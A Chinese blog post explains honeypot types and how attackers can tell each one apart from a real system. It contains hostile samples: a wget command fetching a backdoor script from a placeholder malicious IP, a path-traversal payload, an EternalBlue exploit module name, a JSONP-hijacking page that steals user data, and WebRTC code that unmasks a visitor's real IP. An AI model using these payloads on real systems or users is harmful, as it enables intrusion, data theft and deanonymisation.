浅识蜜罐

蜜罐是什么?

蜜罐蜜罐,从名字上来看就像是一个盛有蜂蜜的罐子,吸引着他人来吃蜜,进来吃蜜了就掉进了陷阱。本质上就是一个设计好的陷阱。放在网安方面来说其实是一种主动防御技术,通过主动的暴露一些漏洞、设置一些诱饵来引诱攻击者进行攻击,从而可以对攻击行为进行捕获和分析。

常见的蜜罐

低交互蜜罐(Low-Interaction Honeypot)

Honeyd

功能:模拟多种服务(如HTTP、SSH、Telnet),可自定义响应规则。

攻击案例:攻击者扫描到一台开放22端口(SSH)的主机,尝试用常见弱密码(如admin:admin)登录,发现登录成功但执行ls命令后返回空目录,且无法上传文件。

判断方法:使用nc连接端口后发送随机数据,观察是否返回固定Banner(如”SSH-2.0-Honeyd”)。

执行uname -a命令,蜜罐可能返回伪造的系统信息(如内核版本与真实系统矛盾)。

Kippo

功能:模拟SSH服务,记录暴力破解和攻击者输入的Shell命令。

攻击案例:攻击者通过SSH连接后尝试执行wget http://恶意IP/backdoor.sh,蜜罐会记录该操作但实际不会下载文件。

判断方法:检查网络流量:蜜罐的SSH会话可能没有真实外联流量(如下载文件或连接C2服务器)。

执行df -h查看磁盘空间,若显示固定值(如始终为50G/100G)可能是伪造数据。

高交互蜜罐(High-Interaction Honeypot)

Honeynet

功能:由真实虚拟机组成的网络(如Windows + Linux),模拟企业内网,甚至包含数据库和Web服务器。

*攻击案例**:攻击者入侵一台Web服务器后,尝试内网渗透,使用nmap -sn 192.168.1.0/24扫描,发现所有IP均存活且开放端口,可能触发蜜罐告警。

判断方法:

检测虚拟机特征:使用dmidecode(Linux)或systeminfo(Windows)查看硬件信息,若显示供应商为VirtualBox/VMware。观察时间同步:蜜罐时间可能与NTP服务器不同步(如时区设置为UTC)。

Cowrie

功能:模拟SSH和Telnet,提供虚假文件系统(如/etc/passwd含蜜罐用户)。

攻击案例:攻击者上传恶意脚本后尝试提权,执行sudo su时蜜罐返回”Permission denied”,但真实系统可能允许特定用户提权。

判断方法:

检查进程列表:执行ps aux,若缺少常见进程(如cron、nginx)可能为蜜罐。

尝试创建文件:touch /tmp/test,若重启后文件消失,说明处于临时文件系统。

中交互蜜罐(Medium-Interaction Honeypot)

Dionaea

功能:模拟SMB、HTTP等协议,捕获漏洞利用(如永恒之蓝)的Payload。

攻击案例:攻击者使用Metasploit的exploit/windows/smb/ms17_010_eternalblue攻击蜜罐,蜜罐会记录攻击但不会真正被攻破。

判断方法:

发送SMB协议的非标准请求(如无效的NT Create AndX命令),真实系统可能返回错误,蜜罐可能无响应或响应格式错误。

检查445端口的服务指纹:使用Nmap脚本nmap -p445 --script smb-os-discovery,若OS信息为空或异常。

Conpot

功能:模拟工控系统(如Modbus、SNMP),诱捕针对PLC设备的攻击。

攻击案例:攻击者发送Modbus协议指令读取寄存器数据,蜜罐返回伪造的传感器数值(如温度恒定为25°C)。

判断方法:发送超出范围的寄存器读取请求(如地址0xFFFF),真实设备返回错误码,蜜罐可能返回成功但数据无效。

检测响应延迟:工控设备响应通常为毫秒级,蜜罐可能延迟较高(如100ms以上)。

数据库蜜罐(Database Honeypot)

基础的原理是:mysql中有一个load data local infile函数能够读取本地文件到mysql数据库中

利用这个思路,MYSQL蜜罐诞生了一个攻击反制手段:只要渗透测试人员尝试连接该mysql蜜罐,就可以被蜜罐读取到本地配置文件,甚至不需要提供正确的用户名密码

最明显的就是23年西湖论剑的only_sql用到了https://github.com/allyshka/Rogue-MySql-Server

https://south66666666.github.io/2024/02/03/2024-2-3-only_sql/#%E7%AC%AC%E4%B8%83%E5%B1%8A%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91%E5%A4%8D%E7%8E%B0%E2%80%94only-sql

ElasticPot

功能:模拟Elasticsearch服务,检测勒索攻击(如删除索引或加密数据)。

攻击案例:攻击者发送DELETE /index请求,蜜罐记录该操作并返回虚假成功响应,但数据未被删除。

判断方法:

检查集群状态:执行GET /_cluster/health,若节点数固定为1且无分片变化。

插入测试数据:POST /test/_doc { "data": "test" },再次查询若数据不存在则为蜜罐。

MongoDB-HoneyProxy

功能:记录未授权访问和恶意查询(如db.dropDatabase())。

攻击案例:攻击者连接MongoDB后执行show dbs,蜜罐返回少量数据库(如”admin”, “fake_logs”)。

判断方法:

执行耗时操作:db.stats()在真实库返回详细数据,蜜罐可能返回简化信息。

检查版本号:db.version()若版本为非常见版本(如3.6.1-honey)可判定为蜜罐。

WEB蜜罐

Glastopf

功能:模拟PHP漏洞(如文件包含、远程代码执行),记录攻击Payload。

攻击案例:攻击者尝试利用/index.php?page=../../../etc/passwd读取文件,蜜罐返回伪造的passwd内容。

判断方法:

发送非法参数:如/index.php?page=non_existent_file,真实应用返回404,蜜罐可能返回200。

检查Cookie:蜜罐可能设置异常Cookie(如honeypot=1)。

WebLabyrinth

功能:生成虚假路径(如/admin/login.php)混淆攻击者。

攻击案例:攻击者扫描到/wp-login.php页面,尝试爆破密码,但蜜罐记录所有尝试并返回”Invalid password”。

判断方法:

检查页面一致性:多次访问同一URL,蜜罐可能返回动态变化的页面内容。

使用Wappalyzer检测技术栈:若显示服务器为”Unknown”或矛盾的技术组合(如Nginx + ASP.NET)。

jsonp蜜罐

利用了jsonp劫持的原理

jsonp跨域

jsonp是什么就不多解释了,这里用一个小demo讲讲什么是jsonp跨域:

  • 现在有一个用于jsonp的接口http://q1ngchuan.top/user?callback=,请求后会返回当前已登陆用户信息
  • 现在构造一个页面:
1
2
3
4
5
6
7
<script type="text/javascript">
function hackuser(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://q1ngchuan.top/user?callback=hackuser"></script>

用户访问之后会解析js,发送请求:http://q1ngchuan.top/user?callback=hackuser

网站B接收到请求后,解析请求的URL,以JSON 格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器,比如:

1
hackuser({"id":1,"name":"aaa","email":"aaa@test.com"})

这里就很明显会触发回调函数hackuser,将当前用户数据alert出来

举个例子

一部分蜜罐会在资源中加载/js/portrait.js

我在使用fofa语法body="/js/portrait.js" && country="CN"进行搜索后找到一个看似后台的网页:

image-20250218125351285

image-20250218125732598

可以看到:QQ、搜狗、新浪、搜狐等的网站都有被请求,再仔细看看这些请求包:

image-20250218125853706

image-20250218125801967

image-20250218125912981

image-20250218125929982

并且这里的jsonp回调函数格式都是jsonp_callback_+某字符串,看看/js/portrait.js

image-20250218130022190

xss-WebRTC获取IP

WebRTC是一个很老的技术,但是很少有人关注,现代浏览器基本都支持并默认开启,如果未曾关闭,则可能会暴露你的真实IP,即使你开的是全局代理

可以使用这个网站进行检测https://ip8.com/webrtc-test,

而上面这个技术仅通过javascript代码即可实现,这些js代码可能会被插入到网站中进行XSS利用

下面给出一段测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Get IP Addresses</title>
<link rel="stylesheet" href="https://unpkg.com/element-ui@2.15.6/lib/theme-chalk/index.css">
<script src="https://unpkg.com/vue@2.6.14"></script>
<script src="https://unpkg.com/element-ui@2.15.6/lib/index.js"></script>
</head>
<body>
<div id="app">
<el-container>
<el-header>
<h1>Your IP Addresses:</h1>
</el-header>
<el-main>
<el-table :data="ipAddresses" style="width: 100%" border>
<el-table-column prop="type" label="Type" width="180"></el-table-column>
<el-table-column prop="address" label="IP Address"></el-table-column>
</el-table>
</el-main>
</el-container>
</div> <script>
new Vue({
el: '#app',
data() {
return {
ipAddresses: [
{ type: 'XFF or CDN IP Address', address: 'Loading...' },
{ type: 'WebRTC Local IP Address', address: 'Loading...' },
{ type: 'WebRTC IPv4 Address', address: 'Loading...' },
{ type: 'WebRTC IPv6 Address', address: 'Loading...' }
]
};
},
mounted() {
// Fetch XFF or CDN IP address
const xhr = new XMLHttpRequest();
xhr.open('GET', 'get_real_ip.php', true);
xhr.onreadystatechange = () => {
if (xhr.readyState === 4 && xhr.status === 200) {
const jsonResponse = JSON.parse(xhr.responseText);
this.ipAddresses[0].address = jsonResponse.ip;
}
};
xhr.send(); // WebRTC IPs
const iceServers = [
{ urls: 'stun:stun.l.google.com:19302' },
{ urls: 'stun:stun1.l.google.com:19302' },
{ urls: 'stun:stun2.l.google.com:19302' },
{ urls: 'stun:stun3.l.google.com:19302' },
{ urls: 'stun:stun4.l.google.com:19302' },
];
// getUserIPs function
function getUserIPs(callback) {
const myPeerConnection = new RTCPeerConnection({ iceServers });
myPeerConnection.createDataChannel("");
myPeerConnection.createOffer().then(offer => myPeerConnection.setLocalDescription(offer)); myPeerConnection.onicecandidate = function(event) {
if (event.candidate) {
const parts = event.candidate.candidate.split(' ');
const ip = parts[4];
callback(ip);
}
};
} getUserIPs((ip) => {
// ... (same as before)
const ipv4Regex = /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
const ipv6Regex = /^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}(([0-9a-fA-F]{1,4}:){1,4}|((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/;
if (ipv4Regex.test(ip)) {
this.ipAddresses[2].address = ip;
} else if (ipv6Regex.test(ip)) {
this.ipAddresses[3].address = ip;
} else {
this.ipAddresses[1].address = ip;
}
});
}
});
</script>
</body>
</html>

总结

蜜罐的形式很多很多,上面只是一小部分,况且蜜罐的判断还是比较繁琐的,如果花时间去识别蜜罐感觉还不如直接去虚拟机去攻击,切记虚拟机不要有个人信息!